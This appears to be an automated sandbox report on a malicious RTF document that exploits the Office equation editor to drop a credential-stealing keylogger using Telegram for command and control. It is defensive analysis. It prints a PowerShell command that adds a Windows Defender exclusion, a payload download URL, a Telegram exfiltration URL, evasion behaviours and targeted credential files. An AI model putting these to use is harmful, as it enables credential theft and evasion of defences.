Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 350000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 24E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 470000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 65C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 6350000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 75C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 85C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 8D60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 9D60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: AD60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 250000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 24E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: 360000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1038 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4855 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Window / User API: threadDelayed 675 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Window / User API: threadDelayed 9135 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3636 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe TID: 3832 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe TID: 3808 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4020 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4024 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3940 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe TID: 4004 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe TID: 4048 Thread sleep time: -15679732462653109s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe TID: 4048 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe TID: 4056 Thread sleep count: 675 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe TID: 4056 Thread sleep count: 9135 > 30 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3184 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe"
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Memory written: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe "C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Queries volume information: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Queries volume information: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3872, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3872, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3872, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000007.00000002.942629985.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3872, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 7.2.cdlpohalgate39567.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cdlpohalgate39567.exe.4069d28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.942222984.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.438924652.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: cdlpohalgate39567.exe PID: 3872, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1545183 Sample: na.doc Startdate: 30/10/2024 Architecture: WINDOWS Score: 100 41 Initial sample is an obfuscated RTF file 2->41 43 Suricata IDS alerts for network traffic 2->43 45 Found malware configuration 2->45 47 24 other signatures 2->47 8 WINWORD.EXE 291 22 2->8         started        process3 file4 27 C:\Users\user\Desktop\~$na.doc, data 8->27 dropped 11 EQNEDT32.EXE 11 8->11         started        16 EQNEDT32.EXE 8->16         started        process5 dnsIp6 39 87.120.84.38, 49164, 80 SHARCOM-ASBG Bulgaria 11->39 29 C:\Users\user\...\cdlpohalgate39567.exe, PE32 11->29 dropped 31 C:\Users\user\...\pgTQ4mfZBbJhpdd[1].exe, PE32 11->31 dropped 67 Office equation editor establishes network connection 11->67 69 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->69 18 cdlpohalgate39567.exe 3 11->18         started        file7 signatures8 process9 signatures10 49 Multi AV Scanner detection for dropped file 18->49 51 Machine Learning detection for dropped file 18->51 53 Adds a directory exclusion to Windows Defender 18->53 55 Injects a PE file into a foreign processes 18->55 21 cdlpohalgate39567.exe 12 2 18->21         started        25 powershell.exe 4 18->25         started        process11 dnsIp12 33 reallyfreegeoip.org 21->33 35 api.telegram.org 21->35 37 8 other IPs or domains 21->37 57 Installs new ROOT certificates 21->57 59 Tries to steal Mail credentials (via file / registry access) 21->59 61 Tries to harvest and steal browser information (history, passwords, etc) 21->61 signatures13 63 Tries to detect the country of the analysis system (by using the IP) 33->63 65 Uses the Telegram API (likely for C&C communication) 35->65
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 checkip.dyndns.com United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
188.114.97.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS true
87.120.84.38
 unknown Bulgaria
51189 SHARCOM-ASBG true
188.114.96.3
 unknown European Union
13335 CLOUDFLARENETUS false
193.122.130.0
 unknown United States
31898 ORACLE-BMC-31898US false
158.101.44.242
 unknown United States
31898 ORACLE-BMC-31898US false
132.226.247.73
 unknown United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.97.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 132.226.8.169 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://reallyfreegeoip.org/xml/173.254.250.78 false
    		unknown
    http://checkip.dyndns.org/ false
    • URL Reputation: safe
    		 unknown
    https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:610930%0D%0ADate%20and%20Time:%2010/30/2024%20/%208:13:13%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20610930%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
      		unknown
      http://87.120.84.38/txt/pgTQ4mfZBbJhpdd.exe true
        		unknown